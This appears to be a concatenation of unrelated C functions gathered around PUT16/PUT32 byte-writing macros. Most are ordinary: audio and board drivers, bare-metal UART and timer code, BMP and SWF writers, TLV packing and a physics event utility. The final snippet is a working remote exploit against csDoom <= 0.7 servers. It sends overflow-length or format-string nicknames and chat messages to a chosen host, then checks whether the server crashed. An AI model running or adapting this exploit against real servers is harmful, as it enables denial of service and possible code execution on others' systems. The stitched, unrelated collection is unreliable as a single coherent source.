/* * audio1575_write_ac97() * * Description: * Set the specific AC97 Codec register. * * Arguments: * void *arg The device's state structure * uint8_t reg AC97 register number * uint16_t data The data want to be set */ static void audio1575_write_ac97(void *arg, uint8_t reg, uint16_t data) { audio1575_state_t *statep = arg; int i; if (audio1575_codec_sync(statep) != DDI_SUCCESS) { return; } /* write the data to WRITE to the lo word of the CPR register */ PUT16(M1575_CPR_REG, data); /* write the address to WRITE to the hi word of the CPR register */ PUT16(M1575_CPR_REG+2, reg); /* wait until command is completed sucessfully */ for (i = 0; i < M1575_LOOP_CTR; i++) { /* Wait for Write Ready 0x01 */ if (GET32(M1575_CSPSR_REG) & M1575_CSPSR_WRRDY) { break; } drv_usecwait(1); } if (i < M1575_LOOP_CTR) { (void) audio1575_read_ac97(statep, reg); } }
/* save screenshot in bmp format, return true if success, or false */ bool CScreenShot::SaveBmp() { TIMER_START(); if(!OpenFile()) return false; unsigned char hdr[14 + 40]; unsigned int i = 0; #define PUT32(x) hdr[i++] = ((x)&0xFF); hdr[i++] = (((x)>>8)&0xFF); hdr[i++] = (((x)>>16)&0xFF); hdr[i++] = (((x)>>24)&0xFF); #define PUT16(x) hdr[i++] = ((x)&0xFF); hdr[i++] = (((x)>>8)&0xFF); #define PUT8(x) hdr[i++] = ((x)&0xFF); PUT8('B'); PUT8('M'); PUT32((((xres * yres) * 3 + 3) &~ 3) + 14 + 40); PUT16(0); PUT16(0); PUT32(14 + 40); PUT32(40); PUT32(xres); PUT32(yres); PUT16(1); PUT16(4*8); // bits PUT32(0); PUT32(0); PUT32(0); PUT32(0); PUT32(0); PUT32(0); #undef PUT32 #undef PUT16 #undef PUT8 fwrite(hdr, 1, i, fd); int y; for (y=yres-1; y>=0 ; y-=1) { fwrite(pixel_data+(y*xres*4),xres*4,1,fd); } fclose(fd); TIMER_STOP(filename.c_str()); return true; }
void changedepth(TAG*tag, int add) { if(tag->id == ST_PLACEOBJECT) PUT16(&tag->data[2],GET16(&tag->data[2])+add); if(tag->id == ST_PLACEOBJECT2) PUT16(&tag->data[1],GET16(&tag->data[1])+add); if(tag->id == ST_REMOVEOBJECT) PUT16(&tag->data[2],GET16(&tag->data[2])+add); if(tag->id == ST_REMOVEOBJECT2) PUT16(&tag->data[0],GET16(&tag->data[0])+add); if(tag->id == ST_PLACEOBJECT2) { SWFPLACEOBJECT obj; U8 flags; swf_SetTagPos(tag, 0); flags = swf_GetU8(tag); if(flags&2) swf_GetU16(tag); //id if(flags&4) swf_GetMatrix(tag, 0); if(flags&8) swf_GetCXForm(tag, 0,1); if(flags&16) swf_GetU16(tag); //ratio if(flags&64) { swf_ResetReadBits(tag); printf("%d->%d\n", GET16(&tag->data[tag->pos]), GET16(&tag->data[tag->pos])+add); PUT16(&tag->data[tag->pos],GET16(&tag->data[tag->pos])+add); } msg("<warning> Depth relocation not fully working yet with clipdepths", tag->id); } }
//------------------------------------------------------------------- int notmain ( void ) { unsigned int ra; volatile unsigned int beg,end; ra=GET32(RCC_APB1ENR); ra|=1<<3; //enable TIM5 PUT32(RCC_APB1ENR,ra); PUT16(TIM5BASE+0x00,0x0000); PUT16(TIM5BASE+0x00,0x0001); PUT32(CPACR,GET32(CPACR)|(0xF<<20)); clock_init(); uart_init(); hexstring(0x12345678,1); //instruction cache, data cache and prefetch ra=GET32(FLASH_ACR); PUT32(FLASH_ACR,ra|0x700); uart_string("\nHello World!\n"); beg=GET32(TIM5BASE+0x24); ra=add(1,1,LOOPS); end=GET32(TIM5BASE+0x24); hexstring(end-beg,1); beg=GET32(TIM5BASE+0x24); ra=add(1,1,LOOPS); end=GET32(TIM5BASE+0x24); hexstring(end-beg,1); beg=GET32(TIM5BASE+0x24); ra=m4add(1.0F,1.0F,LOOPS); end=GET32(TIM5BASE+0x24); hexstring(end-beg,1); beg=GET32(TIM5BASE+0x24); ra=m4add(1.0F,1.0F,LOOPS); end=GET32(TIM5BASE+0x24); hexstring(end-beg,1); beg=GET32(TIM5BASE+0x24); ra=add(1,1,LOOPS); end=GET32(TIM5BASE+0x24); hexstring(end-beg,1); beg=GET32(TIM5BASE+0x24); ra=m4add(1.0F,1.0F,LOOPS); end=GET32(TIM5BASE+0x24); hexstring(end-beg,1); hexstring(0x12345678,1); return(0); }
void mtx1_reboot(void) { /* fyi, this looks like the same as the DBAu1500 reset */ PUT16(MTX1_RESET , 0); delay(100000); /* 100 msec */ }
void dbau1550_reboot(void) { PUT16(DBAU1550_SOFTWARE_RESET, 0); wbflush(); delay(100000); /* 100 msec */ }
//------------------------------------------------------------------------ static void uart_send ( unsigned int x ) { while(1) { if(GET16(UCA0IFG)&2) break; } PUT16(UCA0TXBUF,x); }
void dbau1550_poweroff(void) { printf("\n- poweroff -\n"); PUT16(DBAU1550_SOFTWARE_RESET, DBAU1550_SOFTWARE_RESET_PWROFF | DBAU1550_SOFTWARE_RESET_RESET); wbflush(); delay(100000); /* 100 msec */ }
int msg_pack(message_t * msg, uint8_t * out, uint32_t * out_size) { uint32_t psize = 0; uint32_t outsize = 0; uint32_t left = 0; uint32_t i = 0; tlv_t * cur = NULL; message_t * cur_msg = NULL; if ((NULL == msg) || (NULL == out) || (NULL == out_size)) { printf("something is null\n"); return -1; } psize = msg_get_packed_size(msg); if (*out_size < psize) { return -1; } PUT32(out, htonl(MSG_MAGIC)); ADVANCE32(out); PUT32(out, htonl(msg->nitems)); ADVANCE32(out); left = (uint32_t) (*out_size - (sizeof(uint32_t) * 2)); for (i = 0; i < msg->nitems; i++) { cur = MSG_TLV(msg, i); PUT16(out, htons(cur->id)); ADVANCE16(out); PUT16(out, htons(cur->type)); ADVANCE16(out); if (TLV_TYPE_MSG == cur->type) { cur_msg = (message_t *)(cur->value); PUT16(out, htons((uint16_t)msg_get_packed_size(cur_msg))); ADVANCE16(out); } else { PUT16(out, htons(cur->length)); ADVANCE16(out); } left -= (sizeof(uint16_t) * 3); outsize = left; pack_item(cur, out, &outsize); out += outsize; left -= outsize; } *out_size = psize; return 0; }
int tlv_pack(tlv_t *tlv, uint8_t *out, uint32_t out_sz) { assert(tlv != NULL); uint32_t pack_sz = 0; pack_sz = tlv_get_packed_size(tlv); if (out_sz < pack_sz) { ph_debug("not enough size, out_sz:%d, pack_sz:%d", out_sz, pack_sz); return -1; } PUT16(out, htons(tlv->id)); ADVANCE16P(out); PUT16(out, htons(tlv->type)); ADVANCE16P(out); PUT16(out, htons(tlv->length)); ADVANCE16P(out); pack_sz -= sizeof(uint16_t) * 3; return pack_value(tlv, out, &pack_sz); }
static int dbau1550_spi_select(void *arg, int slave) { uint16_t status; if ((slave < 0) || (slave > 1)) return EINVAL; status = GET16(DBAU1550_BOARD_SPECIFIC); if (slave) { status |= DBAU1550_SPI_DEV_SEL; } else { status &= ~DBAU1550_SPI_DEV_SEL; } PUT16(DBAU1550_BOARD_SPECIFIC, status); return 0; }
//------------------------------------------------------------------------ static void uart_init ( void ) { PUT8(PASEL1_L,GET8(PASEL1_L)&0xF3); PUT8(PASEL0_L,GET8(PASEL0_L)|0x0C); PUT16(UCA0CTLW0,0x0081); //PUT16(UCA0BRW,104); //12000000/115200 = 104 PUT16(UCA0BRW,26); //3000000/115200 = 26 PUT16(UCA0MCTLW,0x0000); PUT16(UCA0IE,0); PUT16(UCA0CTLW0,0x0081); PUT16(UCA0CTLW0,0x0080); }
/* * audio1575_read_ac97() * * Description: * Get the specific AC97 Codec register. It also updates codec_shadow[] * with the register value. * * Arguments: * void *arg The device's state structure * uint8_t reg AC97 register number * * Returns: * Value of AC97 register. (0xffff in failure situations). */ static uint16_t audio1575_read_ac97(void *arg, uint8_t reg) { audio1575_state_t *statep = arg; uint16_t addr = 0; uint16_t data = 0xffff; int i; if ((audio1575_codec_sync(statep)) != DDI_SUCCESS) { return (data); } /* * at this point we have the CASR semaphore * and the codec is r/w ready * OR in the READ opcode into the address field */ addr = (reg | M1575_CPR_READ); /* write the address to READ to the hi word of the CPR register */ PUT16(M1575_CPR_REG+2, addr); /* wait until command is completed sucessfully */ for (i = 0; i < M1575_LOOP_CTR; i++) { /* Wait for Read Ready 0x02 */ if (GET32(M1575_CSPSR_REG) & M1575_CSPSR_RDRDY) { break; } drv_usecwait(1); } if (i < M1575_LOOP_CTR) { /* read back the data and address */ data = GET16(M1575_SPR_REG); addr = GET16(M1575_SPR_REG+2); if (addr != reg) { data = 0xffff; } } return (data); }
void dbau1550_slot_disable(int slot) { int shift; uint16_t status; switch (slot) { case 0: shift = DBAU1550_PCMCIA_PC0_SHIFT; break; case 1: shift = DBAU1550_PCMCIA_PC1_SHIFT; break; } status = GET16(DBAU1550_PCMCIA); status &= ~(DBAU1550_PCMCIA_MASK); PUT16(DBAU1550_PCMCIA, status); wbflush(); }
//------------------------------------------------------------------------ int notmain ( void ) { unsigned int ra; PUT16(WDTCTL,0x5A84); //stop WDT uart_init(); //see readme for(ra=0;ra<1000;ra++) dummy(ra); hexstring(0x12345678); hexstring(GET_APSR()); hexstring(GET_IPSR()); hexstring(GET_EPSR()); hexstring(SP_PROCESS()); SETPSP(0x20000D00); hexstring(SP_PROCESS()); hexstring(GET_CONTROL()); ra=GET_CONTROL(); //SETCONTROL(ra|(1<<1)); hexstring(GET_CONTROL()); hexstring(SP_MAIN()); hexstring(GET_SP()); ra=GET_SP(); for(;ra<0x20000D00;ra+=4) { hexstrings(ra); hexstring(GET32(ra)); } PUT32(SYST_CSR,4); PUT32(SYST_RVR,6000000-1); PUT32(SYST_CVR,6000000-1); PUT32(SYST_CSR,7); iwait(); return(0); }
void dbau1550_slot_enable(int slot) { uint16_t status; uint16_t vcc, vpp; int shift; status = GET16(DBAU1550_STATUS); switch (slot) { case 0: status >>= DBAU1550_STATUS_PCMCIA0_VS_SHIFT; shift = DBAU1550_PCMCIA_PC0_SHIFT; break; case 1: status >>= DBAU1550_STATUS_PCMCIA1_VS_SHIFT; shift = DBAU1550_PCMCIA_PC1_SHIFT; break; default: return; } status &= DBAU1550_STATUS_PCMCIA_VS_MASK; switch (status) { case DBAU1550_STATUS_PCMCIA_VS_GND: vcc = DBAU1550_PCMCIA_VCC_GND; vpp = DBAU1550_PCMCIA_VPP_GND; break; case DBAU1550_STATUS_PCMCIA_VS_5V: vcc = DBAU1550_PCMCIA_VCC_5V; vpp = DBAU1550_PCMCIA_VPP_VCC; break; default: /* covers both 3.3v cases */ vcc = DBAU1550_PCMCIA_VCC_3V; vpp = DBAU1550_PCMCIA_VPP_VCC; break; } status = GET16(DBAU1550_PCMCIA); /* this clears all bits for this slot */ status &= ~(DBAU1550_PCMCIA_MASK << shift); status |= vcc << shift; status |= vpp << shift; PUT16(DBAU1550_PCMCIA, status); wbflush(); tsleep(&status, PWAIT, "pcmcia_reset_0", mstohz(100)); status |= (DBAU1550_PCMCIA_DRV_EN << shift); PUT16(DBAU1550_PCMCIA, status); wbflush(); tsleep(&status, PWAIT, "pcmcia_reset_start", mstohz(300)); /* take it out of reset */ status |= (DBAU1550_PCMCIA_RST << shift); PUT16(DBAU1550_PCMCIA, status); wbflush(); /* spec says 20 msec, but experience shows even 200 is not enough */ tsleep(&status, PWAIT, "pcmcia_reset_finish", mstohz(1000)); /* NOTE: WE DO NOT SUPPORT DIFFERENT VCC/VPP LEVELS! */ /* This means that 12V cards are not supported! */ }
//------------------------------------------------------------------- void uart_putc ( unsigned int x ) { while (( GET16(U0LSR) & (1<<5)) == 0) continue; PUT16(U0THR,x); }
int main(int argc, char **argv) { int i, nw, status, trig, layer, strip; int l, tag, num, nchan[22], *nchanptr, nn, mm, npulses; int pulse_integral, pulse_time, pulse_min, pulse_max; int ind, fragtag, fragnum, nbytes, ind_data, timestamp_flag, type, *nhits; int slot, slot_old, event, chan, tdc; int banktag = 0xe102, banknum = 0, banktyp = 0xf; char *fmt = "c,i,l,N(c,N(s,i,s,s))"; unsigned int ret, word; unsigned long long timestamp, timestamp_old; unsigned char *end, *start; FILE *fd; GET_PUT_INIT; if(argc!=3) printf("Usage: evioUtilTest <input evio file> <output evio file>\n"); input_filename = strdup(argv[1]); output_filename = strdup(argv[2]); printf("Use >%s< as input file\n",input_filename); printf("Use >%s< as output file\n",output_filename); if(!strcmp(input_filename,output_filename)) { printf("input and output files must be different - exit\n"); exit(0); } fd = fopen(output_filename,"r"); if(fd>0) { printf("Output file %s exist - exit\n",output_filename); fclose(fd); exit(0); } /* open evio input file */ if((status = evOpen(input_filename,"r",&input_handle))!=0) { printf("\n ?Unable to open input file %s, status=%d\n\n",input_filename,status); exit(1); } /* open evio output file */ if((status = evOpen(output_filename,"w",&output_handle))!=0) { printf("\n ?Unable to open output file %s, status=%d\n\n",output_filename,status); exit(1); } nevent=0; nwrite=0; trig = 0; pulse_min = 0; pulse_max = 0; npulses = 1; timestamp = 0x0102030405LL; while( (status=evRead(input_handle,buf,MAXEVIOBUF))==0 && nevent < max_event) { nevent++; if(!(nevent%10000)) printf("processed %d events\n",nevent); if(skip_event>=nevent) continue; /*if(user_event_select(buf)==0) continue;*/ /**********************/ /* evioBankUtil stuff */ #if 0 /********/ /* ECAL */ /********/ fragtag = 1602; fragnum = 0; tag = 1602; printf("\n"); for(num=1; num<=6; num++) /* 1-sector, 2-io, 3-view, 4-strip, 5-adc, 6-tdc */ { ind = evLinkBank(buf, fragtag, fragnum, tag, num, &nbytes, &ind_data); if(ind > 0) { /* PRINT_BUFFER(&buf[ind_data], &buf[ind_data]+(nbytes/4)); */ if(num==1) printf("SECTOR: "); else if(num==2) printf(" IO: "); else if(num==3) printf(" VIEW: "); else if(num==4) printf(" STRIP: "); else if(num==5) printf(" ADC: "); else if(num==6) printf(" TDC: "); for(i=0; i<nbytes/4; i++) { inBuf[num][i] = buf[ind_data+i]; printf("%6d",inBuf[num][i]); } printf("\n"); } } printf("\n"); /* clean up */ nw = 0; printf("Process %d hit candidates\n",nbytes/4); for(i=0; i<nbytes/4; i++) { if(inBuf[1][i] != 5) continue; /* skip wrong sectors */ if(inBuf[5][i] <= 0) continue; /* skip zero energy */ aBuf[nw].sector = inBuf[1][i]; aBuf[nw].io = inBuf[2][i]; aBuf[nw].view = inBuf[3][i]; aBuf[nw].strip = inBuf[4][i]; aBuf[nw].adc = inBuf[5][i]; aBuf[nw].tdc = inBuf[6][i]; nw++; } printf("Found %d good hits\n",nw); for(num=1; num<=6; num++) { if(num==1) printf("SECTOR: "); else if(num==2) printf(" IO: "); else if(num==3) printf(" VIEW: "); else if(num==4) printf(" STRIP: "); else if(num==5) printf(" ADC: "); else if(num==6) printf(" TDC: "); for(i=0; i<nw; i++) { if(num==1) printf("%6d",aBuf[i].sector); else if(num==2) printf("%6d",aBuf[i].io); else if(num==3) printf("%6d",aBuf[i].view); else if(num==4) printf("%6d",aBuf[i].strip); else if(num==5) printf("%6d",aBuf[i].adc); else if(num==6) printf("%6d",aBuf[i].tdc); } printf("\n"); } printf("\n"); /* sort */ qsort((void *)aBuf, nw, sizeof(ECData), (int (*) (const void *, const void *))ecdata_compare); printf("Sorted %d hits\n",nw); for(num=1; num<=6; num++) { if(num==1) printf("SECTOR: "); else if(num==2) printf(" IO: "); else if(num==3) printf(" VIEW: "); else if(num==4) printf(" STRIP: "); else if(num==5) printf(" ADC: "); else if(num==6) printf(" TDC: "); for(i=0; i<nw; i++) { if(num==1) printf("%6d",aBuf[i].sector); else if(num==2) printf("%6d",aBuf[i].io); else if(num==3) printf("%6d",aBuf[i].view); else if(num==4) printf("%6d",aBuf[i].strip); else if(num==5) printf("%6d",aBuf[i].adc); else if(num==6) printf("%6d",aBuf[i].tdc); } printf("\n"); } if(ind > 0) { trig ++; slot_old = 0; i = evOpenFrag(buf, 7, 1); printf("evOpenFrag returned %d\n",i); ret = evOpenBank(buf, 7/*fragtag*/, 1/*fragnum*/, banktag, banknum, banktyp, fmt, &ind_data); printf("evOpenBank returns = %d\n",ret); b08out = (unsigned char *)&buf[ind_data]; printf("first b08out = 0x%08x\n",b08out); for(i=0; i<22; i++) nchan[i] = 0; for(i=0; i<nw; i++) { printf("begin while: b08=0x%08x\n",b08); layer = (aBuf[i].io-1)*3+aBuf[i].view-1; printf("+++++++++++++ %d %d -> %d\n",aBuf[i].io,aBuf[i].view,layer); strip = aBuf[i].strip-1; slot = adcslotecal [layer] [strip]; chan = adcchanecal [layer] [strip]; printf("### layer=%d strip=%d -> slot=%d chan=%d (nchan(so far)=%d)\n",layer,strip,slot,chan,nchan[slot]); if(slot != slot_old) { slot_old = slot; PUT8(slot); PUT32(trig); PUT64(timestamp); nchan[slot]=0; nchanptr = (unsigned int *)b08out; PUT32(nchan[slot]); /* reserve space for channel counter */ printf("slot=%d, trig=%d, timestamp=%lld nchan[%d]=%d\n",slot,trig,timestamp,slot,nchan[slot]); } /*for(nn=0; nn<nchan[slot]; nn++)*/ { nchan[slot] ++; *nchanptr = nchan[slot]; PUT8(chan); PUT32(npulses); printf(" chan=%d, npulses=%d\n",chan,npulses); for(mm=0; mm<npulses; mm++) { pulse_integral = aBuf[i].adc; pulse_time = aBuf[i].tdc-25000; /* sergey: arbitrary !!! */ PUT16(pulse_time); PUT32(pulse_integral); PUT16(pulse_min); PUT16(pulse_max); printf(" pulse_time=%d pulse_integral=%d\n",pulse_time,pulse_integral); /*printf(">>> layer %d, strip %d -> adc %d\n",adclayerecal[slot][chan],adcstripecal[slot][chan],pulse_integral);*/ } printf("last b08out=0x%08x\n",b08out); } } /*printf("last b08out = 0x%08x\n",b08out);*/ evCloseBank(buf, 7/*fragtag*/, 1/*fragnum*/, banktag, banknum, b08out); } #endif #if 1 /********/ /* PCAL */ /********/ fragtag = 1502; fragnum = 0; tag = 1502; printf("\n"); for(num=1; num<=6; num++) /* 1-sector, 2-io, 3-view, 4-strip, 5-adc, 6-tdc */ { ind = evLinkBank(buf, fragtag, fragnum, tag, num, &nbytes, &ind_data); if(ind > 0) { /* PRINT_BUFFER(&buf[ind_data], &buf[ind_data]+(nbytes/4)); */ if(num==1) printf("SECTOR: "); else if(num==2) printf(" IO: "); else if(num==3) printf(" VIEW: "); else if(num==4) printf(" STRIP: "); else if(num==5) printf(" ADC: "); else if(num==6) printf(" TDC: "); for(i=0; i<nbytes/4; i++) { inBuf[num][i] = buf[ind_data+i]; printf("%6d",inBuf[num][i]); } printf("\n"); } } printf("\n"); /* clean up */ nw = 0; printf("Process %d hit candidates\n",nbytes/4); for(i=0; i<nbytes/4; i++) { if(inBuf[1][i] != 5) continue; /* skip wrong sectors */ if(inBuf[5][i] <= 0) continue; /* skip zero energy */ aBuf[nw].sector = inBuf[1][i]; aBuf[nw].io = inBuf[2][i]; aBuf[nw].view = inBuf[3][i]; aBuf[nw].strip = inBuf[4][i]; aBuf[nw].adc = inBuf[5][i]; aBuf[nw].tdc = inBuf[6][i]; nw++; } printf("Found %d good hits\n",nw); for(num=1; num<=6; num++) { if(num==1) printf("SECTOR: "); else if(num==2) printf(" IO: "); else if(num==3) printf(" VIEW: "); else if(num==4) printf(" STRIP: "); else if(num==5) printf(" ADC: "); else if(num==6) printf(" TDC: "); for(i=0; i<nw; i++) { if(num==1) printf("%6d",aBuf[i].sector); else if(num==2) printf("%6d",aBuf[i].io); else if(num==3) printf("%6d",aBuf[i].view); else if(num==4) printf("%6d",aBuf[i].strip); else if(num==5) printf("%6d",aBuf[i].adc); else if(num==6) printf("%6d",aBuf[i].tdc); } printf("\n"); } printf("\n"); /* sort */ qsort((void *)aBuf, nw, sizeof(ECData), (int (*) (const void *, const void *))ecdata_compare); printf("Sorted %d hits\n",nw); for(num=1; num<=6; num++) { if(num==1) printf("SECTOR: "); else if(num==2) printf(" IO: "); else if(num==3) printf(" VIEW: "); else if(num==4) printf(" STRIP: "); else if(num==5) printf(" ADC: "); else if(num==6) printf(" TDC: "); for(i=0; i<nw; i++) { if(num==1) printf("%6d",aBuf[i].sector); else if(num==2) printf("%6d",aBuf[i].io); else if(num==3) printf("%6d",aBuf[i].view); else if(num==4) printf("%6d",aBuf[i].strip); else if(num==5) printf("%6d",aBuf[i].adc); else if(num==6) printf("%6d",aBuf[i].tdc); } printf("\n"); } if(ind > 0) { trig ++; slot_old = 0; i = evOpenFrag(buf, 8, 1); printf("evOpenFrag returned %d\n",i); ret = evOpenBank(buf, 8/*fragtag*/, 1/*fragnum*/, banktag, banknum, banktyp, fmt, &ind_data); printf("evOpenBank returns = %d\n",ret); b08out = (unsigned char *)&buf[ind_data]; printf("first b08out = 0x%08x\n",b08out); for(i=0; i<22; i++) nchan[i] = 0; for(i=0; i<nw; i++) { printf("begin while: b08=0x%08x\n",b08); layer = (aBuf[i].io-1)*3+aBuf[i].view-1; printf("+++++++++++++ %d %d -> %d\n",aBuf[i].io,aBuf[i].view,layer); strip = aBuf[i].strip-1; slot = adcslotpcal [layer] [strip]; chan = adcchanpcal [layer] [strip]; printf("### layer=%d strip=%d -> slot=%d chan=%d (nchan(so far)=%d)\n",layer,strip,slot,chan,nchan[slot]); if(slot != slot_old) { slot_old = slot; PUT8(slot); PUT32(trig); PUT64(timestamp); nchan[slot]=0; nchanptr = (unsigned int *)b08out; PUT32(nchan[slot]); /* reserve space for channel counter */ printf("slot=%d, trig=%d, timestamp=%lld nchan[%d]=%d\n",slot,trig,timestamp,slot,nchan[slot]); } /*for(nn=0; nn<nchan[slot]; nn++)*/ { nchan[slot] ++; *nchanptr = nchan[slot]; PUT8(chan); PUT32(npulses); printf(" chan=%d, npulses=%d\n",chan,npulses); for(mm=0; mm<npulses; mm++) { pulse_integral = aBuf[i].adc; pulse_time = aBuf[i].tdc-25000; /* sergey: arbitrary !!! */ PUT16(pulse_time); PUT32(pulse_integral); PUT16(pulse_min); PUT16(pulse_max); printf(" pulse_time=%d pulse_integral=%d\n",pulse_time,pulse_integral); /*printf(">>> layer %d, strip %d -> adc %d\n",adclayerecal[slot][chan],adcstripecal[slot][chan],pulse_integral);*/ } printf("last b08out=0x%08x\n",b08out); } } /*printf("last b08out = 0x%08x\n",b08out);*/ evCloseBank(buf, 8/*fragtag*/, 1/*fragnum*/, banktag, banknum, b08out); } #endif /* evioBankUtil stuff */ /**********************/ nwrite++; printf("nwrite=%d\n",nwrite); status = evWrite(output_handle,buf); if(status!=0) { printf("\n ?evWrite error output file %s, status=%d (0x%08x)\n\n",output_filename,status,status); exit(1); } if( (max_event>0) && (nevent>=max_event+skip_event) ) break; } /* done */ printf("\n Read %d events, copied %d events\n\n",nevent,nwrite); evClose(output_handle); evClose(input_handle); exit(0); }
int main(int argc, char *argv[]) { u_int seed; int sd, i, len, chall = CHALLENGE, attack; u_short port = PORT; u_char buff[BUFFSZ], *p; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "csDoom <= 0.7 multiple vulnerabilities " VER "\n" "by Luigi Auriemma\n" "e-mail: [email protected]\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s <attack> <host> [port(%hu)]\n" "\n" "Attack:\n" " 1 = buffer-overflow in SV_BroadcastPrintf\n" " 2 = buffer-overflow in SV_SetupUserInfo\n" " 3 = format string in Printf\n" "\n", argv[0], port); exit(1); } attack = atoi(argv[1]); if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); seed = time(NULL); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); printf("- query server:\n"); p = buff; PUT32(p, LAUNCHER_CHALLENGE); len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1); chall = info_proto(buff, len); printf("- start connection:\n"); p = buff; PUT32(p, chall); len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1); if(buff[0] != S2C_CHALLENGE) { close(sd); if(buff[0] == S2C_FULL) { printf("\nError: server is full\n\n"); } else { printf("\nError: client has not been accepted (%hhu)\n\n", buff[0]); } exit(1); } p = buff; PUT16(p, VERSION); len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1); if(buff[0] != S2C_CONNECTION) { close(sd); printf("\nError: your client has been disconnected (wrong version?) (%hhu)\n\n", buff[0]); exit(1); } p = buff; *p++ = clc_userinfo; if(attack == 2) { // nickname printf("- send big nickname\n"); p += create_bof_string(p, BOFSZ1); } else if(attack == 3) { printf("- send formatted nickname\n"); p += mycpy(p, FORMATSTRING); } else { printf("- send nickname\n"); p += create_rand_string(p, 16, &seed); } p += create_rand_string(p, 16, &seed); // teamname PUT32(p, seed); // rate value if((attack == 2) || (attack == 3)) { len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0); goto quit; } len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 1); if(attack == 1) { printf("- send big say message\n"); p = buff; *p++ = clc_say; p += create_bof_string(p, BOFSZ2); len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0); } // printf("- disconnect\n"); // p = buff; // *p++ = clc_disconnect; // // len = send_recv(sd, buff, p - buff, buff, sizeof(buff), 0); quit: close(sd); printf("- wait some seconds\n"); for(i = 3; i; i--) { printf("%d\r", i); sleep(ONESEC); } printf("- check server:\n"); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); p = buff; PUT32(p, LAUNCHER_CHALLENGE); if(send_recv(sd, buff, p - buff, buff, sizeof(buff), 0) < 0) { printf("\n Server IS vulnerable!!!\n\n"); } else { printf("\n Server does not seem vulnerable\n\n"); } close(sd); return(0); }